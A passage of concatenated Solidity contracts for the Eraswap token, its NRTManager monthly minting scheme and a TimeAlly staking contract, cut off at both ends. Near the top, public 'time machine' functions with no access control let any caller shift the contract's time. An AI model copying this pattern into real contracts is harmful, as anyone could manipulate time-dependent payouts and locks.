mint(msg.sender, 910000000000000000000000000);
}
int256 public timeMachineDepth;
// gives the time machine time
function mou() public view returns(uint256) {
if(timeMachineDepth < 0) {
return now - uint256(timeMachineDepth);
} else {
return now + uint256(timeMachineDepth);
}
}
// sets the time machine depth
function setTimeMachineDepth(int256 _timeMachineDepth) public {
timeMachineDepth = _timeMachineDepth;
}
function goToFuture(uint256 _seconds) public {
timeMachineDepth += int256(_seconds);
}
function goToPast(uint256 _seconds) public {
timeMachineDepth -= int256(_seconds);
}
/**
* @dev Function to add NRT Manager to have minting rights
* It will transfer the minting rights to NRTManager and revokes it from existing minter
* @param NRTManager Address of NRT Manager C ontract
*/
function AddNRTManager(address NRTManager) public onlyMinter returns (bool) {
addMinter(NRTManager);
addPauser(NRTManager);
renounceMinter();
renouncePauser();
emit NRTManagerAdded(NRTManager);
return true;
}
}
pragma solidity ^0.5.2;
import "./IERC20.sol";
import "./SafeMath.sol";
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://eips.ethereum.org/EIPS/eip-20
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token to a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Approve an address to spend another addresses' tokens.
* @param owner The address that owns the tokens.
* @param spender The address that will spend the tokens.
* @param value The number of tokens that can be spent.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
pragma solidity ^0.5.2;
import "./ERC20.sol";
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract ERC20Burnable is ERC20 {
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint256 value) public {
_burn(msg.sender, value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param from address The account whose tokens will be burned.
* @param value uint256 The amount of token to be burned.
*/
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
pragma solidity ^0.5.2;
import "./ERC20Mintable.sol";
/**
* @title Capped token
* @dev Mintable token with a token cap.
*/
contract ERC20Capped is ERC20Mintable {
uint256 private _cap;
constructor (uint256 cap) public {
require(cap > 0);
_cap = cap;
}
/**
* @return the cap for the token minting.
*/
function cap() public view returns (uint256) {
return _cap;
}
function _mint(address account, uint256 value) internal {
require(totalSupply().add(value) <= _cap);
super._mint(account, value);
}
}
pragma solidity ^0.5.2;
import "./IERC20.sol";
/**
* @title ERC20Detailed token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
pragma solidity ^0.5.2;
import "./ERC20.sol";
import "./MinterRole.sol";
/**
* @title ERC20Mintable
* @dev ERC20 minting logic
*/
contract ERC20Mintable is ERC20, MinterRole {
/**
* @dev Function to mint tokens
* @param to The address that will receive the minted tokens.
* @param value The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address to, uint256 value) public onlyMinter returns (bool) {
_mint(to, value);
return true;
}
}
pragma solidity ^0.5.2;
import "./ERC20.sol";
import "./Pausable.sol";
/**
* @title Pausable token
* @dev ERC20 modified with pausable transfers.
*/
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
pragma solidity ^0.5.2;
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.2;
import "./Roles.sol";
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
pragma solidity ^0.5.2;
import "./Eraswap.sol";
import "./TimeAlly.sol";
contract NRTManager {
using SafeMath for uint256;
uint256 public lastNRTRelease; // variable to store last release date
uint256 public monthlyNRTAmount; // variable to store Monthly NRT amount to be released
uint256 public annualNRTAmount; // variable to store Annual NRT amount to be released
uint256 public monthCount; // variable to store the count of months from the intial date
uint256 public luckPoolBal; // Luckpool Balance
uint256 public burnTokenBal; // tokens to be burned
Eraswap token;
address Owner;
//Eraswap public eraswapToken;
// different pool address
address public newTalentsAndPartnerships = 0xb4024468D052B36b6904a47541dDE69E44594607;
address public platformMaintenance = 0x922a2d6B0B2A24779B0623452AdB28233B456D9c;
address public marketingAndRNR = 0xDFBC0aE48f3DAb5b0A1B154849Ee963430AA0c3E;
address public kmPards = 0x4881964ac9AD9480585425716A8708f0EE66DA88;
address public contingencyFunds = 0xF4E731a107D7FFb2785f696543dE8BF6EB558167;
address public researchAndDevelopment = 0xb209B4cec04cE9C0E1Fa741dE0a8566bf70aDbe9;
address public powerToken = 0xbc24BfAC401860ce536aeF9dE10EF0104b09f657;
address public timeSwappers = 0x4b65109E11CF0Ff8fA58A7122a5E84e397C6Ceb8; // which include powerToken , curators ,timeTraders , daySwappers
address public timeAlly; //address of timeAlly Contract
uint256 public newTalentsAndPartnershipsBal; // variable to store last NRT released to the address;
uint256 public platformMaintenanceBal; // variable to store last NRT released to the address;
uint256 public marketingAndRNRBal; // variable to store last NRT released to the address;
uint256 public kmPardsBal; // variable to store last NRT released to the address;
uint256 public contingencyFundsBal; // variable to store last NRT released to the address;
uint256 public researchAndDevelopmentBal; // variable to store last NRT released to the address;
uint256 public powerTokenNRT; // variable to store last NRT released to the address;
uint256 public timeAllyNRT; // variable to store last NRT released to the address;
uint256 public timeSwappersNRT; // variable to store last NRT released to the address;
// Event to watch NRT distribution
// @param NRTReleased The amount of NRT released in the month
event NRTDistributed(uint256 NRTReleased);
/**
* Event to watch Transfer of NRT to different Pool
* @param pool - The pool name
* @param sendAddress - The address of pool
* @param value - The value of NRT released
**/
event NRTTransfer(string pool, address sendAddress, uint256 value);
// Event to watch Tokens Burned
// @param amount The amount burned
event TokensBurned(uint256 amount);
/**
* Event to watch the addition of pool address
* @param pool - The pool name
* @param sendAddress - The address of pool
**/
event PoolAddressAdded(string pool, address sendAddress);
// Event to watch LuckPool Updation
// @param luckPoolBal The current luckPoolBal
event LuckPoolUpdated(uint256 luckPoolBal);
// Event to watch BurnTokenBal Updation
// @param burnTokenBal The current burnTokenBal
event BurnTokenBalUpdated(uint256 burnTokenBal);
/**
* @dev Throws if caller is not timeAlly
*/
modifier OnlyAllowed() {
require(msg.sender == timeAlly || msg.sender == timeSwappers,"Only TimeAlly and Timeswapper is authorised");
_;
}
/**
* @dev Throws if caller is not owner
*/
modifier OnlyOwner() {
require(msg.sender == Owner,"Only Owner is authorised");
_;
}
/**
* @dev Should burn tokens according to the total circulation
* @return true if success
*/
function burnTokens() internal returns (bool){
if(burnTokenBal == 0){
return true;
}
else{
uint MaxAmount = ((token.totalSupply()).mul(2)).div(100); // max amount permitted to burn in a month
if(MaxAmount >= burnTokenBal ){
token.burn(burnTokenBal);
burnTokenBal = 0;
}
else{
burnTokenBal = burnTokenBal.sub(MaxAmount);
token.burn(MaxAmount);
}
return true;
}
}
/**
* @dev To update pool addresses
* @param pool - A List of pool addresses
* Updates if pool address is not already set and if given address is not zero
* @return true if success
*/
function UpdateAddresses (address[9] calldata pool) external OnlyOwner returns(bool){
if((pool[0] != address(0)) && (newTalentsAndPartnerships == address(0))){
newTalentsAndPartnerships = pool[0];
emit PoolAddressAdded( "NewTalentsAndPartnerships", newTalentsAndPartnerships);
}
if((pool[1] != address(0)) && (platformMaintenance == address(0))){
platformMaintenance = pool[1];
emit PoolAddressAdded( "PlatformMaintenance", platformMaintenance);
}
if((pool[2] != address(0)) && (marketingAndRNR == address(0))){
marketingAndRNR = pool[2];
emit PoolAddressAdded( "MarketingAndRNR", marketingAndRNR);
}
if((pool[3] != address(0)) && (kmPards == address(0))){
kmPards = pool[3];
emit PoolAddressAdded( "KmPards", kmPards);
}
if((pool[4] != address(0)) && (contingencyFunds == address(0))){
contingencyFunds = pool[4];
emit PoolAddressAdded( "ContingencyFunds", contingencyFunds);
}
if((pool[5] != address(0)) && (researchAndDevelopment == address(0))){
researchAndDevelopment = pool[5];
emit PoolAddressAdded( "ResearchAndDevelopment", researchAndDevelopment);
}
if((pool[6] != address(0)) && (powerToken == address(0))){
powerToken = pool[6];
emit PoolAddressAdded( "PowerToken", powerToken);
}
if((pool[7] != address(0)) && (timeSwappers == address(0))){
timeSwappers = pool[7];
emit PoolAddressAdded( "TimeSwapper", timeSwappers);
}
if((pool[8] != address(0)) && (timeAlly == address(0))){
timeAlly = pool[8];
emit PoolAddressAdded( "TimeAlly", timeAlly);
}
return true;
}
/**
* @dev Function to update luckpool balance
* @param amount Amount to be updated
*/
function UpdateLuckpool(uint256 amount) external OnlyAllowed returns(bool){
luckPoolBal = luckPoolBal.add(amount);
emit LuckPoolUpdated(luckPoolBal);
return true;
}
/**
* @dev Function to trigger to update for burning of tokens
* @param amount Amount to be updated
*/
function UpdateBurnBal(uint256 amount) external OnlyAllowed returns(bool){
burnTokenBal = burnTokenBal.add(amount);
emit BurnTokenBalUpdated(burnTokenBal);
return true;
}
/**
* @dev To invoke monthly release
* @return true if success
*/
function MonthlyNRTRelease() external returns (bool) {
require(now.sub(lastNRTRelease)> 2629744,"NRT release happens once every month");
uint256 NRTBal = monthlyNRTAmount.add(luckPoolBal); // Total NRT available.
// Calculating NRT to be released to each of the pools
newTalentsAndPartnershipsBal = (NRTBal.mul(5)).div(100);
platformMaintenanceBal = (NRTBal.mul(10)).div(100);
marketingAndRNRBal = (NRTBal.mul(10)).div(100);
kmPardsBal = (NRTBal.mul(10)).div(100);
contingencyFundsBal = (NRTBal.mul(10)).div(100);
researchAndDevelopmentBal = (NRTBal.mul(5)).div(100);
powerTokenNRT = (NRTBal.mul(10)).div(100);
timeAllyNRT = (NRTBal.mul(15)).div(100);
timeSwappersNRT = (NRTBal.mul(25)).div(100);
// sending tokens to respective wallets and emitting events
token.mint(newTalentsAndPartnerships,newTalentsAndPartnershipsBal);
emit NRTTransfer("newTalentsAndPartnerships", newTalentsAndPartnerships, newTalentsAndPartnershipsBal);
token.mint(platformMaintenance,platformMaintenanceBal);
emit NRTTransfer("platformMaintenance", platformMaintenance, platformMaintenanceBal);
token.mint(marketingAndRNR,marketingAndRNRBal);
emit NRTTransfer("marketingAndRNR", marketingAndRNR, marketingAndRNRBal);
token.mint(kmPards,kmPardsBal);
emit NRTTransfer("kmPards", kmPards, kmPardsBal);
token.mint(contingencyFunds,contingencyFundsBal);
emit NRTTransfer("contingencyFunds", contingencyFunds, contingencyFundsBal);
token.mint(researchAndDevelopment,researchAndDevelopmentBal);
emit NRTTransfer("researchAndDevelopment", researchAndDevelopment, researchAndDevelopmentBal);
token.mint(powerToken,powerTokenNRT);
emit NRTTransfer("powerToken", powerToken, powerTokenNRT);
token.mint(timeAlly,timeAllyNRT);
TimeAlly timeAllyContract = TimeAlly(timeAlly);
timeAllyContract.increaseMonth(timeAllyNRT);
emit NRTTransfer("stakingContract", timeAlly, timeAllyNRT);
token.mint(timeSwappers,timeSwappersNRT);
emit NRTTransfer("timeSwappers", timeSwappers, timeSwappersNRT);
// Reseting NRT
emit NRTDistributed(NRTBal);
luckPoolBal = 0;
lastNRTRelease = lastNRTRelease.add(2629744); // @dev adding seconds according to 1 Year = 365.242 days
burnTokens(); // burning burnTokenBal
emit TokensBurned(burnTokenBal);
if(monthCount == 11){
monthCount = 0;
annualNRTAmount = (annualNRTAmount.mul(90)).div(100);
monthlyNRTAmount = annualNRTAmount.div(12);
}
else{
monthCount = monthCount.add(1);
}
return true;
}
/**
* @dev Constructor
*/
constructor(address eraswaptoken) public{
token = Eraswap(eraswaptoken);
lastNRTRelease = now;
annualNRTAmount = 819000000000000000000000000;
monthlyNRTAmount = annualNRTAmount.div(uint256(12));
monthCount = 0;
Owner = msg.sender;
}
}
pragma solidity ^0.5.2;
import "./PauserRole.sol";
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
pragma solidity ^0.5.2;
import "./Roles.sol";
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
pragma solidity ^0.5.2;
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
pragma solidity ^0.5.2;
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity 0.5.10;
import './SafeMath.sol';
import './Eraswap.sol';
import './NRTManager.sol';
/*
Potential bugs: this contract is designed assuming NRT Release will happen every month.
There might be issues when the NRT scheduled
- added stakingMonth property in Staking struct
fix withdraw fractionFrom15 luck pool
- done
add loanactive contition to take loan
- done
ensure stakingMonth in the struct is being used every where instead of calculation
- done
remove local variables uncesessary
final the earthSecondsInMonth amount in TimeAlly as well in NRT
add events for required functions
*/
/// @author The EraSwap Team
/// @title TimeAlly Smart Contract
/// @dev all require statement message strings are commented to make contract deployable by lower the deploying gas fee
contract TimeAlly {
using SafeMath for uint256;
struct Staking {
uint256 exaEsAmount;
uint256 timestamp;
uint256 stakingMonth;
uint256 stakingPlanId;
uint256 status; /// @dev 1 => active; 2 => loaned; 3 => withdrawed; 4 => cancelled; 5 => nomination mode
uint256 loanId;
uint256 totalNominationShares;
mapping (uint256 => bool) isMonthClaimed;
mapping (address => uint256) nomination;
}
struct StakingPlan {
uint256 months;
uint256 fractionFrom15; /// @dev fraction of NRT released. Alotted to TimeAlly is 15% of NRT
// bool isPlanActive; /// @dev when plan is inactive, new stakings must not be able to select this plan. Old stakings which already selected this plan will continue themselves as per plan.
bool isUrgentLoanAllowed; /// @dev if urgent loan is not allowed then staker can take loan only after 75% (hard coded) of staking months
}
struct Loan {
uint256 exaEsAmount;
uint256 timestamp;
uint256 loanPlanId;
uint256 status; // @dev 1 => not repayed yet; 2 => repayed
uint256[] stakingIds;
}
struct LoanPlan {
uint256 loanMonths;
uint256 loanRate; // @dev amount of charge to pay, this will be sent to luck pool
uint256 maxLoanAmountPercent; /// @dev max loan user can take depends on this percent of the plan and the stakings user wishes to put for the loan
}
uint256 public deployedTimestamp;
address public owner;
Eraswap public token;
NRTManager public nrtManager;
/// @dev 1 Year = 365.242 days for taking care of leap years
uint256 public earthSecondsInMonth = 2629744;
// uint256 earthSecondsInMonth = 30 * 12 * 60 * 60; /// @dev there was a decision for following 360 day year
StakingPlan[] public stakingPlans;
LoanPlan[] public loanPlans;
// user activity details:
mapping(address => Staking[]) public stakings;
mapping(address => Loan[]) public loans;
mapping(address => uint256) public launchReward;
/// @dev TimeAlly month to exaEsAmount mapping.
mapping (uint256 => uint256) public totalActiveStakings;
/// @notice NRT being received from NRT Manager every month is stored in this array
/// @dev current month is the length of this array
uint256[] public timeAllyMonthlyNRT;
event NewStaking (
address indexed _userAddress,
uint256 indexed _stakePlanId,
uint256 _exaEsAmount,
uint256 _stakingId
);
event PrincipalWithdrawl (
address indexed _userAddress,
uint256 _stakingId
);
event NomineeNew (
address indexed _userAddress,
uint256 indexed _stakingId,
address indexed _nomineeAddress
);
event NomineeWithdraw (
address indexed _userAddress,
uint256 indexed _stakingId,
address indexed _nomineeAddress,
uint256 _liquid,
uint256 _accrued
);
event BenefitWithdrawl (
address indexed _userAddress,
uint256 _stakingId,
uint256[] _months,
uint256 _halfBenefit
);
event NewLoan (
address indexed _userAddress,
uint256 indexed _loanPlanId,
uint256 _exaEsAmount,
uint256 _loanInterest,
uint256 _loanId
);
event RepayLoan (
address indexed _userAddress,
uint256 _loanId
);
modifier onlyNRTManager() {
require(
msg.sender == address(nrtManager)
// , 'only NRT manager can call'
);
_;
}
modifier onlyOwner() {
require(
msg.sender == owner
// , 'only deployer can call'
);
_;
}
/// @notice sets up TimeAlly contract when deployed
/// @param _tokenAddress - is EraSwap contract address
/// @param _nrtAddress - is NRT Manager contract address
constructor(address _tokenAddress, address _nrtAddress) public {
owner = msg.sender;
token = Eraswap(_tokenAddress);
nrtManager = NRTManager(_nrtAddress);
deployedTimestamp = now;
timeAllyMonthlyNRT.push(0); /// @dev first month there is no NRT released
}
/// @notice this function is used by NRT manager to communicate NRT release to TimeAlly
function increaseMonth(uint256 _timeAllyNRT) public onlyNRTManager {
timeAllyMonthlyNRT.push(_timeAllyNRT);
}
/// @notice TimeAlly month is dependent on the monthly NRT release
/// @return current month is the TimeAlly month
function getCurrentMonth() public view returns (uint256) {
return timeAllyMonthlyNRT.length - 1;
}
/// @notice this function is used by owner to create plans for new stakings
/// @param _months - is number of staking months of a plan. for eg. 12 months
/// @param _fractionFrom15 - NRT fraction (max 15%) benefit to be given to user. rest is sent back to NRT in Luck Pool
/// @param _isUrgentLoanAllowed - if urgent loan is not allowed then staker can take loan only after 75% of time elapsed
function createStakingPlan(uint256 _months, uint256 _fractionFrom15, bool _isUrgentLoanAllowed) public onlyOwner {
stakingPlans.push(StakingPlan({
months: _months,
fractionFrom15: _fractionFrom15,
// isPlanActive: true,
isUrgentLoanAllowed: _isUrgentLoanAllowed
}));
}
/// @notice this function is used by owner to create plans for new loans
/// @param _loanMonths - number of months or duration of loan, loan taker must repay the loan before this period
/// @param _loanRate - this is total % of loaning amount charged while taking loan, this charge is sent to luckpool in NRT manager which ends up distributed back to the community again
function createLoanPlan(uint256 _loanMonths, uint256 _loanRate, uint256 _maxLoanAmountPercent) public onlyOwner {
require(_maxLoanAmountPercent <= 100
// , 'everyone should not be able to take loan more than 100 percent of their stakings'
);
loanPlans.push(LoanPlan({
loanMonths: _loanMonths,
loanRate: _loanRate,
maxLoanAmountPercent: _maxLoanAmountPercent
}));
}
/// @notice takes ES from user and locks it for a time according to plan selected by user
/// @param _exaEsAmount - amount of ES tokens (in 18 decimals thats why 'exa') that user wishes to stake
/// @param _stakingPlanId - plan for staking
function newStaking(uint256 _exaEsAmount, uint256 _stakingPlanId) public {
/// @dev 0 ES stakings would get 0 ES benefits and might cause confusions as transaction would confirm but total active stakings will not increase
require(_exaEsAmount > 0
// , 'staking amount should be non zero'
);
require(token.transferFrom(msg.sender, address(this), _exaEsAmount)
// , 'could not transfer tokens'
);
uint256 stakeEndMonth = getCurrentMonth() + stakingPlans[_stakingPlanId].months;
// @dev update the totalActiveStakings array so that staking would be automatically inactive after the stakingPlanMonthhs
for(
uint256 month = getCurrentMonth() + 1;
month <= stakeEndMonth;
month++
) {
totalActiveStakings[month] = totalActiveStakings[month].add(_exaEsAmount);
}
stakings[msg.sender].push(Staking({
exaEsAmount: _exaEsAmount,
timestamp: now,
stakingMonth: getCurrentMonth(),
stakingPlanId: _stakingPlanId,
status: 1,
loanId: 0,
totalNominationShares: 0
}));
emit NewStaking(msg.sender, _stakingPlanId, _exaEsAmount, stakings[msg.sender].length - 1);
}
/// @notice this function is used to see total stakings of any user of TimeAlly
/// @param _userAddress - address of user
/// @return number of stakings of _userAddress
function getNumberOfStakingsByUser(address _userAddress) public view returns (uint256) {
return stakings[_userAddress].length;
}
/// @notice this function is used to topup reward balance in smart contract. Rewards are transferable. Anyone with reward balance can only claim it as a new staking.
/// @dev Allowance is required before topup.
/// @param _exaEsAmount - amount to add to your rewards for sending rewards to others
function topupRewardBucket(uint256 _exaEsAmount) public {
require(token.transferFrom(msg.sender, address(this), _exaEsAmount));
launchReward[msg.sender] = launchReward[msg.sender].add(_exaEsAmount);
}
/// @notice this function is used to send rewards to multiple users
/// @param _addresses - array of address to send rewards
/// @param _exaEsAmountArray - array of ExaES amounts sent to each address of _addresses with same index
function giveLaunchReward(address[] memory _addresses, uint256[] memory _exaEsAmountArray) public onlyOwner {
for(uint256 i = 0; i < _addresses.length; i++) {
launchReward[msg.sender] = launchReward[msg.sender].sub(_exaEsAmountArray[i]);
launchReward[_addresses[i]] = launchReward[_addresses[i]].add(_exaEsAmountArray[i]);
}
}
/// @notice this function is used by rewardees to claim their accrued rewards. This is also used by stakers to restake their 50% benefit received as rewards
/// @param _stakingPlanId - rewardee can choose plan while claiming rewards as stakings
function claimLaunchReward(uint256 _stakingPlanId) public {
// require(stakingPlans[_stakingPlanId].isPlanActive
// // , 'selected plan is not active'
// );
require(launchReward[msg.sender] > 0
// , 'launch reward should be non zero'
);
uint256 reward = launchReward[msg.sender];
launchReward[msg.sender] = 0;
// @dev logic similar to newStaking function
uint256 stakeEndMonth = getCurrentMonth() + stakingPlans[_stakingPlanId].months;
// @dev update the totalActiveStakings array so that staking would be automatically inactive after the stakingPlanMonthhs
for(
uint256 month = getCurrentMonth() + 1;
month <= stakeEndMonth;
month++
) {
totalActiveStakings[month] = totalActiveStakings[month].add(reward); /// @dev reward means locked ES which only staking option
}
stakings[msg.sender].push(Staking({
exaEsAmount: reward,
timestamp: now,
stakingMonth: getCurrentMonth(),
stakingPlanId: _stakingPlanId,
status: 1,
loanId: 0,
totalNominationShares: 0
}));
emit NewStaking(msg.sender, _stakingPlanId, reward, stakings[msg.sender].length - 1);
}
/// @notice used internally to see if staking is active or not. does not include if staking is claimed.
/// @param _userAddress - address of user
/// @param _stakingId - staking id
/// @param _atMonth - particular month to check staking active
/// @return true is staking is in correct time frame and also no loan on it
function isStakingActive(
address _userAddress,
uint256 _stakingId,
uint256 _atMonth
) public view returns (bool) {
